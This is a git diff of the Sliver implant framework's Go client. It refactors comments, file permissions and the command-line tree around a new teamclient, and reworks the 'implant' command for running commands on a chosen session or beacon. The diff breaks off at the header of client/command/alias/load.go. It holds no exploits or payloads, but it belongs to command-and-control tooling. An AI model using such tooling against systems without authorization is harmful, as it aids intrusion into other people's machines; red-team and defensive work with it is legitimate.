diff --git a/client/assets/aliases.go b/client/assets/aliases.go index 2e372fdb73..182313c7f6 100644 --- a/client/assets/aliases.go +++ b/client/assets/aliases.go @@ -28,12 +28,12 @@ const ( AliasesDirName = "aliases" ) -// GetAliasesDir - Returns the path to the config dir +// GetAliasesDir - Returns the path to the config dir. func GetAliasesDir() string { rootDir, _ := filepath.Abs(GetRootAppDir()) dir := filepath.Join(rootDir, AliasesDirName) if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { log.Fatal(err) } @@ -41,7 +41,7 @@ func GetAliasesDir() string { return dir } -// GetInstalledAliasManifests - Returns a list of installed alias manifests +// GetInstalledAliasManifests - Returns a list of installed alias manifests. func GetInstalledAliasManifests() []string { aliasDir := GetAliasesDir() aliasDirContent, err := os.ReadDir(aliasDir) diff --git a/client/assets/armories.go b/client/assets/armories.go index 6e596423f1..ed2d26c249 100644 --- a/client/assets/armories.go +++ b/client/assets/armories.go @@ -31,9 +31,9 @@ const ( ) var ( - // DefaultArmoryPublicKey - The default public key for the armory + // DefaultArmoryPublicKey - The default public key for the armory. DefaultArmoryPublicKey string - // DefaultArmoryRepoURL - The default repo url for the armory + // DefaultArmoryRepoURL - The default repo url for the armory. DefaultArmoryRepoURL string defaultArmoryConfig = &ArmoryConfig{ @@ -42,7 +42,7 @@ var ( } ) -// ArmoryConfig - The armory config file +// ArmoryConfig - The armory config file. type ArmoryConfig struct { PublicKey string `json:"public_key"` RepoURL string `json:"repo_url"` @@ -50,7 +50,7 @@ type ArmoryConfig struct { AuthorizationCmd string `json:"authorization_cmd"` } -// GetArmoriesConfig - The parsed armory config file +// GetArmoriesConfig - The parsed armory config file. func GetArmoriesConfig() []*ArmoryConfig { armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName) if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) { diff --git a/client/assets/assets.go b/client/assets/assets.go index 06e4edb2c5..aa119af2d1 100644 --- a/client/assets/assets.go +++ b/client/assets/assets.go @@ -30,18 +30,18 @@ import ( ) const ( - // SliverClientDirName - Directory storing all of the client configs/logs + // SliverClientDirName - Directory storing all of the client configs/logs. SliverClientDirName = ".sliver-client" versionFileName = "version" ) -// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/ +// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/. func GetRootAppDir() string { user, _ := user.Current() dir := filepath.Join(user.HomeDir, SliverClientDirName) if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { log.Fatal(err) } @@ -49,11 +49,11 @@ func GetRootAppDir() string { return dir } -// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/ +// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/. func GetClientLogsDir() string { logsDir := filepath.Join(GetRootAppDir(), "logs") if _, err := os.Stat(logsDir); os.IsNotExist(err) { - err = os.MkdirAll(logsDir, 0700) + err = os.MkdirAll(logsDir, 0o700) if err != nil { log.Fatal(err) } @@ -61,11 +61,11 @@ func GetClientLogsDir() string { return logsDir } -// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/ +// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/. func GetConsoleLogsDir() string { consoleLogsDir := filepath.Join(GetClientLogsDir(), "console") if _, err := os.Stat(consoleLogsDir); os.IsNotExist(err) { - err = os.MkdirAll(consoleLogsDir, 0700) + err = os.MkdirAll(consoleLogsDir, 0o700) if err != nil { log.Fatal(err) } @@ -86,10 +86,10 @@ func saveAssetVersion(appDir string) { versionFilePath := filepath.Join(appDir, versionFileName) fVer, _ := os.Create(versionFilePath) defer fVer.Close() - fVer.Write([]byte(ver.GitCommit)) + fVer.WriteString(ver.GitCommit) } -// Setup - Extract or create local assets +// Setup - Extract or create local assets. func Setup(force bool, echo bool) { appDir := GetRootAppDir() localVer := assetVersion() diff --git a/client/assets/config.go b/client/assets/config.go deleted file mode 100644 index 6f334e1157..0000000000 --- a/client/assets/config.go +++ /dev/null @@ -1,123 +0,0 @@ -package assets - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "crypto/sha256" - "encoding/json" - "errors" - "fmt" - "io" - "log" - "os" - "path/filepath" -) - -const ( - // ConfigDirName - Directory name containing config files - ConfigDirName = "configs" -) - -// ClientConfig - Client JSON config -type ClientConfig struct { - Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead) - LHost string `json:"lhost"` - LPort int `json:"lport"` - Token string `json:"token"` - CACertificate string `json:"ca_certificate"` - PrivateKey string `json:"private_key"` - Certificate string `json:"certificate"` -} - -// GetConfigDir - Returns the path to the config dir -func GetConfigDir() string { - rootDir, _ := filepath.Abs(GetRootAppDir()) - dir := filepath.Join(rootDir, ConfigDirName) - if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0o700) - if err != nil { - log.Fatal(err) - } - } - return dir -} - -// GetConfigs - Returns a list of available configs -func GetConfigs() map[string]*ClientConfig { - configDir := GetConfigDir() - configFiles, err := os.ReadDir(configDir) - if err != nil { - log.Printf("No configs found %v", err) - return map[string]*ClientConfig{} - } - - confs := map[string]*ClientConfig{} - for _, confFile := range configFiles { - confFilePath := filepath.Join(configDir, confFile.Name()) - // log.Printf("Parsing config %s", confFilePath) - - conf, err := ReadConfig(confFilePath) - if err != nil { - continue - } - digest := sha256.Sum256([]byte(conf.Certificate)) - confs[fmt.Sprintf("%s@%s (%x)", conf.Operator, conf.LHost, digest[:8])] = conf - } - return confs -} - -// ReadConfig - Load config into struct -func ReadConfig(confFilePath string) (*ClientConfig, error) { - confFile, err := os.Open(confFilePath) - if err != nil { - log.Printf("Open failed %v", err) - return nil, err - } - defer confFile.Close() - data, err := io.ReadAll(confFile) - if err != nil { - log.Printf("Read failed %v", err) - return nil, err - } - conf := &ClientConfig{} - err = json.Unmarshal(data, conf) - if err != nil { - log.Printf("Parse failed %v", err) - return nil, err - } - return conf, nil -} - -// SaveConfig - Save a config to disk -func SaveConfig(config *ClientConfig) error { - if config.LHost == "" || config.Operator == "" { - return errors.New("empty config") - } - configDir := GetConfigDir() - filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost)) - saveTo, _ := filepath.Abs(filepath.Join(configDir, filename)) - configJSON, _ := json.Marshal(config) - err := os.WriteFile(saveTo, configJSON, 0o600) - if err != nil { - log.Printf("Failed to write config to: %s (%v)", saveTo, err) - return err - } - log.Printf("Saved new client config to: %s", saveTo) - return nil -} diff --git a/client/assets/extensions.go b/client/assets/extensions.go index 4e1034f1ae..1b7a0bc3e6 100644 --- a/client/assets/extensions.go +++ b/client/assets/extensions.go @@ -25,16 +25,16 @@ import ( ) const ( - // ExtensionsDirName - Directory storing the client side extensions + // ExtensionsDirName - Directory storing the client side extensions. ExtensionsDirName = "extensions" ) -// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions +// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions. func GetExtensionsDir() string { rootDir, _ := filepath.Abs(GetRootAppDir()) dir := filepath.Join(rootDir, ExtensionsDirName) if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { log.Fatal(err) } @@ -42,7 +42,7 @@ func GetExtensionsDir() string { return dir } -// GetInstalledExtensionManifests - Returns a list of installed extension manifests +// GetInstalledExtensionManifests - Returns a list of installed extension manifests. func GetInstalledExtensionManifests() []string { extDir := GetExtensionsDir() extDirContent, err := os.ReadDir(extDir) diff --git a/client/assets/settings.go b/client/assets/settings.go index 487e807b0e..341e4f30c2 100644 --- a/client/assets/settings.go +++ b/client/assets/settings.go @@ -28,7 +28,7 @@ const ( settingsFileName = "tui-settings.json" ) -// ClientSettings - Client JSON config +// ClientSettings - Client JSON config. type ClientSettings struct { TableStyle string `json:"tables"` AutoAdult bool `json:"autoadult"` @@ -40,7 +40,7 @@ type ClientSettings struct { ConsoleLogs bool `json:"console_logs"` } -// LoadSettings - Load the client settings from disk +// LoadSettings - Load the client settings from disk. func LoadSettings() (*ClientSettings, error) { rootDir, _ := filepath.Abs(GetRootAppDir()) data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName)) @@ -67,7 +67,7 @@ func defaultSettings() *ClientSettings { } } -// SaveSettings - Save the current settings to disk +// SaveSettings - Save the current settings to disk. func SaveSettings(settings *ClientSettings) error { rootDir, _ := filepath.Abs(GetRootAppDir()) if settings == nil { diff --git a/client/cli/cli.go b/client/cli/cli.go index b36a37af99..406460de0a 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -19,79 +19,90 @@ package cli */ import ( - "fmt" "log" "os" - "path" "github.com/rsteube/carapace" "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/client/version" -) + "github.com/reeflective/team/client/commands" -const ( - logFileName = "sliver-client.log" + "github.com/bishopfox/sliver/client/command" + "github.com/bishopfox/sliver/client/command/completers" + sliverConsole "github.com/bishopfox/sliver/client/command/console" + client "github.com/bishopfox/sliver/client/console" ) -var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion()) - -// Initialize logging -func initLogging(appDir string) *os.File { - log.SetFlags(log.LstdFlags | log.Lshortfile) - logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) +// Execute - Run the sliver client binary. +func Execute() { + // Create a client-only (remote TLS-transported connections) + // Sliver client, prepared with a working reeflective/teamclient. + // The teamclient automatically handles remote teamserver configuration + // prompting/loading and use, as well as other things. + con, err := client.NewSliverClient() if err != nil { - panic(fmt.Sprintf("[!] Error opening file: %s", err)) + log.Fatal(err) } - log.SetOutput(logFile) - return logFile -} - -func init() { - rootCmd.TraverseChildren = true - - // Create the console client, without any RPC or commands bound to it yet. - // This created before anything so that multiple commands can make use of - // the same underlying command/run infrastructure. - con := console.NewConsole(false) - // Import - rootCmd.AddCommand(importCmd()) + // Generate the entire Sliver framework command-line interface. + rootCmd := SliverCLI(con) // Version rootCmd.AddCommand(cmdVersion) - // Client console. - // All commands and RPC connection are generated WITHIN the command RunE(): - // that means there should be no redundant command tree/RPC connections with - // other command trees below, such as the implant one. - rootCmd.AddCommand(consoleCmd(con)) + // Run the sliver client binary. + if err := rootCmd.Execute(); err != nil { + os.Exit(1) + } +} + +// SliverCLI returns the entire command tree of the Sliver Framework as yielder functions. +// The ready-to-execute command tree (root *cobra.Command) returned is correctly equipped +// with all prerunners needed to connect to remote Sliver teamservers. +// It will also register the appropriate teamclient management commands. +func SliverCLI(con *client.SliverClient) (root *cobra.Command) { + teamclientCmds := func(con *client.SliverClient) []*cobra.Command { + return []*cobra.Command{ + commands.Generate(con.Teamclient), + } + } + + // Generate a single tree instance of server commands: + // These are used as the primary, one-exec-only CLI of Sliver, and will be equipped + // with a pre-runner ensuring the server and its teamclient are set up and connected. + server := command.ServerCommands(con, teamclientCmds) + + root = server() // The root has an empty command name... + root.Use = "sliver-client" // so adjust it, because needed by completion scripts. + + // Bind the closed-loop console. + // The console shares the same setup/connection pre-runners as other commands, + // but the command yielders we pass as arguments don't: this is because we only + // need one connection for the entire lifetime of the console. + root.AddCommand(sliverConsole.Command(con, server)) // Implant. // The implant command allows users to run commands on slivers from their // system shell. It makes use of pre-runners for connecting to the server // and binding sliver commands. These same pre-runners are also used for // command completion/filtering purposes. - rootCmd.AddCommand(implantCmd(con)) + root.AddCommand(implantCmd(con, command.SliverCommands(con))) - // No subcommand invoked means starting the console. - rootCmd.RunE, rootCmd.PostRunE = consoleRunnerCmd(con, true) + // Pre/post runners and completions. + command.BindPreRun(root, con.PreRunConnect) + command.BindPostRun(root, con.PostRunDisconnect) - // Completions - carapace.Gen(rootCmd) -} + // Add a CLI-specific flag for allowing users to force a specific remote + // Sliver server configuration to be used, instead of prompting user to choose. + root.Flags().StringP("config", "c", "", "Force connecting to a specific Sliver server") + completers.NewFlagCompsFor(root, func(comp *carapace.ActionMap) { + (*comp)["config"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { + return commands.ConfigsAppCompleter(con.Teamclient, "configs") + }) + }) -var rootCmd = &cobra.Command{ - Use: "sliver-client", - Short: "", - Long: ``, -} + // Generate the root completion command. + carapace.Gen(root) -// Execute - Execute root command -func Execute() { - if err := rootCmd.Execute(); err != nil { - fmt.Println(err) - os.Exit(1) - } + return root } diff --git a/client/cli/config.go b/client/cli/config.go deleted file mode 100644 index 71d858d3b3..0000000000 --- a/client/cli/config.go +++ /dev/null @@ -1,71 +0,0 @@ -package cli - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "fmt" - "sort" - - "github.com/bishopfox/sliver/client/assets" - - "gopkg.in/AlecAivazis/survey.v1" -) - -func selectConfig() *assets.ClientConfig { - configs := assets.GetConfigs() - - if len(configs) == 0 { - return nil - } - - if len(configs) == 1 { - for _, config := range configs { - return config - } - } - - answer := struct{ Config string }{} - qs := getPromptForConfigs(configs) - err := survey.Ask(qs, &answer) - if err != nil { - fmt.Println(err.Error()) - return nil - } - - return configs[answer.Config] -} - -func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question { - keys := []string{} - for k := range configs { - keys = append(keys, k) - } - sort.Strings(keys) - - return []*survey.Question{ - { - Name: "config", - Prompt: &survey.Select{ - Message: "Select a server:", - Options: keys, - Default: keys[0], - }, - }, - } -} diff --git a/client/cli/console.go b/client/cli/console.go deleted file mode 100644 index 67e208a382..0000000000 --- a/client/cli/console.go +++ /dev/null @@ -1,73 +0,0 @@ -package cli - -import ( - "fmt" - - "github.com/spf13/cobra" - "google.golang.org/grpc" - - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/command" - "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/client/transport" - "github.com/bishopfox/sliver/protobuf/rpcpb" -) - -// consoleCmd generates the console with required pre/post runners -func consoleCmd(con *console.SliverConsoleClient) *cobra.Command { - consoleCmd := &cobra.Command{ - Use: "console", - Short: "Start the sliver client console", - } - - consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true) - - return consoleCmd -} - -func consoleRunnerCmd(con *console.SliverConsoleClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) { - var ln *grpc.ClientConn - - pre = func(_ *cobra.Command, _ []string) error { - appDir := assets.GetRootAppDir() - logFile := initLogging(appDir) - defer logFile.Close() - - configs := assets.GetConfigs() - if len(configs) == 0 { - fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir()) - return nil - } - config := selectConfig() - if config == nil { - return nil - } - - // Don't clobber output when simply running an implant command from system shell. - if run { - fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort) - } - - var rpc rpcpb.SliverRPCClient - var err error - - rpc, ln, err = transport.MTLSConnect(config) - if err != nil { - fmt.Printf("Connection to server failed %s", err) - return nil - } - - return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run) - } - - // Close the RPC connection once exiting - post = func(_ *cobra.Command, _ []string) error { - if ln != nil { - return ln.Close() - } - - return nil - } - - return pre, post -} diff --git a/client/cli/implant.go b/client/cli/implant.go index 5c1251f79c..ec0887cc11 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -2,75 +2,143 @@ package cli import ( "errors" + "os" "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" + "golang.org/x/exp/slices" + + "github.com/reeflective/console" "github.com/bishopfox/sliver/client/command" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/use" - "github.com/bishopfox/sliver/client/console" + client "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/constants" ) -func implantCmd(con *console.SliverConsoleClient) *cobra.Command { - con.IsCLI = true - - makeCommands := command.SliverCommands(con) - cmd := makeCommands() - cmd.Use = constants.ImplantMenu - - // Flags +// implantCmd returns the command tree for Sliver active targets. +// This function has not yet found its place into one of the commands subdirectories, +// since I'm not really sure how to do it in a way that would be optimal for everyone. +func implantCmd(con *client.SliverClient, sliverCmds console.Commands) *cobra.Command { + // Generate a not-yet filtered tree of all commands + // usable in the context of an active target implant. + implantCmd := sliverCmds() + implantCmd.Use = constants.ImplantMenu + implantCmd.Short = "Implant target command tree (equivalent of the sliver menu)" + implantCmd.GroupID = constants.SliverHelpGroup + + // But let the user set this implant with a flag. implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError) - implantFlags.StringP("use", "s", "", "interact with a session") - cmd.Flags().AddFlagSet(implantFlags) + implantFlags.StringP("use", "s", "", "Set the active target session/beacon") + implantCmd.Flags().AddFlagSet(implantFlags) + + // And when pre-running any of the commands in this tree, + // connect to the server as we always do, but also set the + // active target for this binary run. + implantCmd.PersistentPreRunE = preRunImplant(implantCmd, con) + implantCmd.PersistentPostRunE = postRunImplant(implantCmd, con) + + // Completions. + // Unlike the server-only command tree, we need to unconditionally + // pre-connect when completing commands, so that we can filter commands. + comps := carapace.Gen(implantCmd) + comps.PreRun(func(cmd *cobra.Command, args []string) { + err := implantCmd.PersistentPreRunE(cmd, args) + if err != nil { + return + } - // Prerunners (console setup, connection, etc) - cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con) + // And let the console and its active target decide + // what should be available to us, and what should not. + con.ActiveTarget.FilterCommands(implantCmd) + }) - // Completions - makeCompleters(cmd, con) + // This completer will try connect to the server anyway, if not done already. + completers.NewFlagCompsFor(implantCmd, func(comp *carapace.ActionMap) { + (*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { + return use.BeaconAndSessionIDCompleter(con) + }) + }) - return cmd + return implantCmd } -func makeRunners(implantCmd *cobra.Command, con *console.SliverConsoleClient) (pre, post func(cmd *cobra.Command, args []string) error) { - startConsole, closeConsole := consoleRunnerCmd(con, false) +// preRunImplant returns the pre-runner to be ran before any implant-targeting command, +// to connect to the server, query the sessions/beacons and set one as the active target. +// Like implantCmd, this function can moved from here down the road, either integrated as +// a console.Client method to be used easily by the users using "custom" Go clients for some things. +func preRunImplant(implantCmd *cobra.Command, con *client.SliverClient) command.CobraRunnerE { + return func(cmd *cobra.Command, args []string) error { + if err := con.PreRunConnect(cmd, args); err != nil { + return err + } - // The pre-run function connects to the server and sets up a "fake" console, - // so we can have access to active sessions/beacons, and other stuff needed. - pre = func(_ *cobra.Command, args []string) error { - startConsole(implantCmd, args) + // Pre-parse the flags and get our active target. + if err := implantCmd.ParseFlags(args); err != nil { + return err + } - // Set the active target. target, _ := implantCmd.Flags().GetString("use") if target == "" { - return errors.New("no target implant to run command on") + return errors.New("no active implant target to run command") } + // Load either the session or the beacon. + // This also sets the correct console menu. session := con.GetSession(target) if session != nil { con.ActiveTarget.Set(session, nil) + } else { + beacon := con.GetBeacon(target) + if beacon != nil { + con.ActiveTarget.Set(nil, beacon) + } + } + + // If the command is marked filtered (should not be ran in + // the current context/target), don't do anything and return. + // This is identical to the filtering behavior in the console. + if err := con.App.ActiveMenu().CheckIsAvailable(cmd); err != nil { + return err + } + + // Keep a copy of the command-line: used for beacon task command-line info. + con.Args = os.Args[1:] + for i, arg := range os.Args { + if arg == cmd.Name() { + con.Args = os.Args[i:] + } else if slices.Contains(cmd.Aliases, arg) { + con.Args = os.Args[i:] + } } return nil } - - return pre, closeConsole } -func makeCompleters(cmd *cobra.Command, con *console.SliverConsoleClient) { - comps := carapace.Gen(cmd) +// postRunImplant saves the current CLI os.Args command line to the server, so that all interactions +// with an implant from a system shell will be logged and accessible just the same as in the console. +func postRunImplant(implantCmd *cobra.Command, con *client.SliverClient) command.CobraRunnerE { + return func(cmd *cobra.Command, args []string) error { + var saveArgs []string + + // Save only the subset of the command line starting + // at the implant root (not the server one). This + // is quite hackish, but I could not come up with + // a better solution. + for i, arg := range os.Args { + if arg == cmd.Name() { + saveArgs = os.Args[i:] + } else if slices.Contains(cmd.Aliases, arg) { + saveArgs = os.Args[i:] + } + } - comps.PreRun(func(cmd *cobra.Command, args []string) { - cmd.PersistentPreRunE(cmd, args) - }) + con.ActiveTarget.SaveCommandLine(saveArgs) - // Bind completers to flags (wrap them to use the same pre-runners) - command.FlagComps(cmd, func(comp *carapace.ActionMap) { - (*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { - cmd.PersistentPreRunE(cmd, c.Args) - return use.SessionIDCompleter(con) - }) - }) + // And disconnect from the server like for other commands. + return con.PostRunDisconnect(cmd, args) + } } diff --git a/client/cli/import.go b/client/cli/import.go deleted file mode 100644 index b953916b27..0000000000 --- a/client/cli/import.go +++ /dev/null @@ -1,58 +0,0 @@ -package cli - -/* - Sliver Implant Framework - Copyright (C) 2020 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "fmt" - "os" - - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - - "github.com/bishopfox/sliver/client/assets" -) - -func importCmd() *cobra.Command { - cmdImport := &cobra.Command{ - Use: "import", - Short: "Import a client configuration file", - Long: `import [config files]`, - Run: func(cmd *cobra.Command, args []string) { - if 0 < len(args) { - for _, arg := range args { - conf, err := assets.ReadConfig(arg) - if err != nil { - fmt.Printf("[!] %s\n", err) - os.Exit(3) - } - assets.SaveConfig(conf) - } - } else { - fmt.Printf("Missing config file path, see --help") - } - }, - ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) { - return []string{}, cobra.ShellCompDirectiveDefault - }, - } - - carapace.Gen(cmdImport).PositionalCompletion(carapace.ActionFiles().Tag("server configuration")) - - return cmdImport -} diff --git a/client/cli/version.go b/client/cli/version.go index 24d640871a..c8b724d89c 100644 --- a/client/cli/version.go +++ b/client/cli/version.go @@ -23,13 +23,15 @@ import ( "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/version" ) var cmdVersion = &cobra.Command{ - Use: "version", - Short: "Print version and exit", - Long: ``, + Use: "version", + Short: "Print version and exit", + Long: ``, + GroupID: constants.GenericHelpGroup, Run: func(cmd *cobra.Command, args []string) { fmt.Printf("%s\n", version.FullVersion()) }, diff --git a/client/command/alias/alias.go b/client/command/alias/alias.go index 55472489ad..8870548fc2 100644 --- a/client/command/alias/alias.go +++ b/client/command/alias/alias.go @@ -24,18 +24,18 @@ import ( "os" "strings" - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/client/command/settings" - "github.com/bishopfox/sliver/client/console" - "github.com/jedib0t/go-pretty/v6/table" "github.com/jedib0t/go-pretty/v6/text" "github.com/rsteube/carapace" "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/assets" + "github.com/bishopfox/sliver/client/command/settings" + "github.com/bishopfox/sliver/client/console" ) -// AliasesCmd - The alias command -func AliasesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) error { +// AliasesCmd - The alias command. +func AliasesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) error { if 0 < len(loadedAliases) { PrintAliases(con) } else { @@ -45,10 +45,11 @@ func AliasesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str return nil } -// PrintAliases - Print a list of loaded aliases -func PrintAliases(con *console.SliverConsoleClient) { +// PrintAliases - Print a list of loaded aliases. +func PrintAliases(con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Name", "Command Name", @@ -88,8 +89,8 @@ func PrintAliases(con *console.SliverConsoleClient) { con.Println(tw.Render()) } -// AliasCommandNameCompleter - Completer for installed extensions command names -func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string { +// AliasCommandNameCompleter - Completer for installed extensions command names. +func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverClient) []string { results := []string{} for name := range loadedAliases { if strings.HasPrefix(name, prefix) { @@ -129,7 +130,7 @@ func getInstalledManifests() map[string]*AliasManifest { return installedManifests } -// AliasCommandNameCompleter - Completer for installed extensions command names +// AliasCommandNameCompleter - Completer for installed extensions command names. func AliasCompleter() carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action { results := []string{} diff --git a/client/command/alias/commands.go b/client/command/alias/commands.go new file mode 100644 index 0000000000..b9f48ee227 --- /dev/null +++ b/client/command/alias/commands.go @@ -0,0 +1,62 @@ +package alias + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the `alias` command and its child commands. +func Commands(con *console.SliverClient) []*cobra.Command { + aliasCmd := &cobra.Command{ + Use: consts.AliasesStr, + Short: "List current aliases", + Long: help.GetHelpFor([]string{consts.AliasesStr}), + Run: func(cmd *cobra.Command, args []string) { + AliasesCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + + aliasLoadCmd := &cobra.Command{ + Use: consts.LoadStr + " [ALIAS]", + Short: "Load a command alias", + Long: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + AliasesLoadCmd(cmd, con, args) + }, + } + aliasCmd.AddCommand(aliasLoadCmd) + completers.NewCompsFor(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory")) + + aliasInstallCmd := &cobra.Command{ + Use: consts.InstallStr + " [ALIAS]", + Short: "Install a command alias", + Long: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + AliasesInstallCmd(cmd, con, args) + }, + } + aliasCmd.AddCommand(aliasInstallCmd) + completers.NewCompsFor(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file")) + + aliasRemove := &cobra.Command{ + Use: consts.RmStr + " [ALIAS]", + Short: "Remove an alias", + Long: help.GetHelpFor([]string{consts.RmStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + AliasesRemoveCmd(cmd, con, args) + }, + } + completers.NewCompsFor(aliasRemove).PositionalCompletion(AliasCompleter()) + aliasCmd.AddCommand(aliasRemove) + + return []*cobra.Command{aliasCmd} +} diff --git a/client/command/alias/install.go b/client/command/alias/install.go index 2953412881..e73af9ff88 100644 --- a/client/command/alias/install.go +++ b/client/command/alias/install.go @@ -32,8 +32,8 @@ import ( "github.com/bishopfox/sliver/util" ) -// AliasesInstallCmd - Install an alias -func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// AliasesInstallCmd - Install an alias. +func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { aliasLocalPath := args[0] fi, err := os.Stat(aliasLocalPath) if os.IsNotExist(err) { @@ -48,7 +48,7 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } // Install an extension from a directory -func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) { +func installFromDir(aliasLocalPath string, con *console.SliverClient) { manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName)) if err != nil { con.PrintErrorf("Error reading %s: %s", ManifestFileName, err) @@ -100,8 +100,8 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) { con.Printf("done!\n") } -// Install an extension from a .tar.gz file -func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string { +// Install an extension from a .tar.gz file. +func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverClient) *string { manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName)) if err != nil { con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err) @@ -152,7 +152,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl return &installPath } -func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error { +func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverClient) error { data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator)))) if err != nil { return err diff --git a/client/command/alias/load.go 